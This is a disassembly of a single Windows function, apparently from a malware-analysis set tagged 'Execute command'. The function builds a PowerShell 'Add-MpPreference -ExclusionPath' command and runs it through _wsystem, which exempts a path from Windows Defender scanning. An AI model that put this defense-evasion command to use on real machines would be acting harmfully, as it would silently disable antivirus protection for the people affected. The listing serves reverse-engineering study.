Function at 0x401230
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40348d
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, ecx
mov dword [ebp - 0x30], ecx
mov ecx, dword [edx + 0x10]
mov eax, 0x7ffffffe
sub eax, ecx
mov dword [ebp - 0x38], ecx
cmp eax, 0x36
jb 0x401459
cmp dword [edx + 0x14], 7
jbe 0x401280
mov edx, dword [edx]
mov dword [ebp - 0x30], edx
add ecx, 0x36
mov dword [ebp - 0x40], 0
mov esi, 7
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x34], ecx
xorps xmm0, xmm0
lea eax, [ebp - 0x50]
mov dword [ebp - 0x2c], eax
movups xmmword [ebp - 0x50], xmm0
cmp ecx, esi
jbe 0x401336
mov esi, ecx
or esi, 7
cmp esi, 0x7ffffffe
jbe 0x4012c9
mov eax, 0x7fffffff
mov esi, 0x7ffffffe
add eax, eax
jmp 0x4012ea
mov eax, 0xa
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x7fffffff
ja 0x40145e
add eax, eax
cmp eax, 0x1000
jb 0x401319
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x40145e
push ecx
call fcn.00402736
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x4013dd
mov edx, dword [ebp - 0x30]
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
mov ecx, dword [ebp - 0x34]
jmp 0x401330
test eax, eax
je 0x40132e
push eax
call fcn.00402736
mov edx, dword [ebp - 0x30]
add esp, 4
mov ecx, dword [ebp - 0x34]
jmp 0x401330
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x40], ecx
mov edi, eax
mov dword [ebp - 0x3c], esi
mov ecx, 0x1b
mov esi, str.powershell__Command__Add_MpPreference__ExclusionPath_
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x38]
lea ecx, [eax + 0x6c]
lea eax, [esi + esi]
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
add esp, 0xc
mov word [eax + esi*2 + 0x6c], cx
mov dword [ebp - 4], ecx
lea ecx, [ebp - 0x50]
push 0x404254
call fcn.00401df0
mov dword [ebp - 0x18], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x18], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov ecx, dword [ebp - 0x3c]
cmp ecx, 7
jbe 0x4013ed
mov edx, dword [ebp - 0x50]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4013e3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4013e3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402766
add esp, 8
cmp dword [ebp - 0x14], 7
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
mov ecx, dword [ebp - 0x14]
add esp, 4
cmp ecx, 7
jbe 0x40143e
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401434
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401434
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402766
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00402728
mov esp, ebp
pop ebp
ret
call fcn.00401170
call fcn.004010d0
int3